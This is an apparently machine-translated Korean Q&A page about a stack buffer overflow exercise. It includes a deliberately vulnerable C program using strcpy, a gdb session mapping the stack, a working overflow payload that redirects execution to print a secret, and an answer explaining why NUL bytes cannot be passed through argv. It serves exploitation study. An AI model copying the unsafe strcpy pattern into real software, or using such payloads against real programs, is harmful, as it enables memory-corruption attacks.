프로그램에 인수로 0을 전달하는 방법

프로그램에 인수로 0을 전달하는 방법

이 C 언어 프로그램이 있습니다.

#include <stdio.h>
#include <string.h>

char * pwd = "pwd0";

void print_my_pwd() {
  printf("your pwd is: %s\n", pwd);
}

int check_pwd(char * uname, char * upwd) {
  char name[8];
  strcpy(name, uname);

  if (strcmp(pwd, upwd)) {
    printf("non authorized\n");
    return 1;
  }
  printf("authorized\n");
  return 0;
}

int main(int argc, char ** argv) {
  check_pwd(argv[1], argv[2]);
  return 0;
}

빌드하고 버퍼 오버플로가 있는지 확인합니다.

$ make
gcc -O0 -ggdb -o main main.c -fno-stack-protector
$ gdb main
GNU gdb (Ubuntu 8.2-0ubuntu1~18.04) 8.2
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from main...done.
(gdb) b check_pwd
Breakpoint 1 at 0x76c: file main.c, line 12.
(gdb) run joe f00b4r42
Starting program: /home/developer/main joe f00b4r42
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, check_pwd (uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42") at main.c:12
12    strcpy(name, uname);
(gdb) info frame
Stack level 0, frame at 0x7fffffffd6d0:
 rip = 0x55555555476c in check_pwd (main.c:12); saved rip = 0x5555555547ef
 called by frame at 0x7fffffffd6f0
 source language c.
 Arglist at 0x7fffffffd6c0, args: uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42"
 Locals at 0x7fffffffd6c0, Previous frame's sp is 0x7fffffffd6d0
 Saved registers:
  rbp at 0x7fffffffd6c0, rip at 0x7fffffffd6c8
(gdb) p &name
$1 = (char (*)[8]) 0x7fffffffd6b8
(gdb) p &print_my_pwd
$2 = (void (*)()) 0x55555555473a <print_my_pwd>
(gdb) Quit
A debugging session is active.

    Inferior 1 [process 21935] will be killed.

Quit anyway? (y or n) y
$ ./main $(python -c "print 'AAAAAAAAAAAAAAAA:GUUUU'") B
non authorized
your pwd is: pwd0
Segmentation fault (core dumped)
$ 

그러면 프로그램에서 비밀이 유출될 수 있는데, 주소가 0x55555555003a내 것이 아니라면 어떻게 될까요 0x55555555473a? 그런 다음 0이 null 바이트로 표시되고 쉘이 이를 해석하지 않으므로 0을 전달하는 방법을 모르겠습니다.

답변1

따라서 프로그램은 다음을 수행합니다. 함수 check_pwd가 스택에 오버플로된 버퍼를 할당했기 때문에 반환 주소가 손상되었습니다. 다른 함수를 가리키도록 이 손상을 선택하려고 하며, print_my_pwd문자열 :GUUUU이 리틀 엔디안 시스템에서 64비트 값으로 해석되면 0x??00555555555473A가 되며 처음 8비트는 정의되지 않습니다. 비트 8이 0이면 주소를 얻습니다 print_my_pwd. 이 16개 A문자는 8바이트 name배열을 채운 다음 저장된 프레임 포인터를 덮어쓰는 데 사용됩니다.

따라서 귀하의 질문은 "반환 주소의 일부로 0바이트가 필요한 경우 명령줄에서 이를 어떻게 지정합니까?"이고 대답은 "strcpy를 사용하여 오버플로를 수행하고 있으므로 문제가 되지 않습니다. NUL 바이트 중지에 있으므로 공격이 실패합니다."

일반적으로 귀하의 질문에 대한 대답은 커널의 인터페이스가 C 문자열을 기반으로 하므로 프로그램이 strcpy 대신 memcpy를 사용하더라도 여전히 원하는 작업을 수행할 수 없다는 것입니다.

실제 버퍼 오버플로 공격은 자체 코드로 점프하여 메모리에 저장할 값을 구성하는 경우가 많으며 NUL 문자에 대해 걱정할 필요가 없습니다.

관련 정보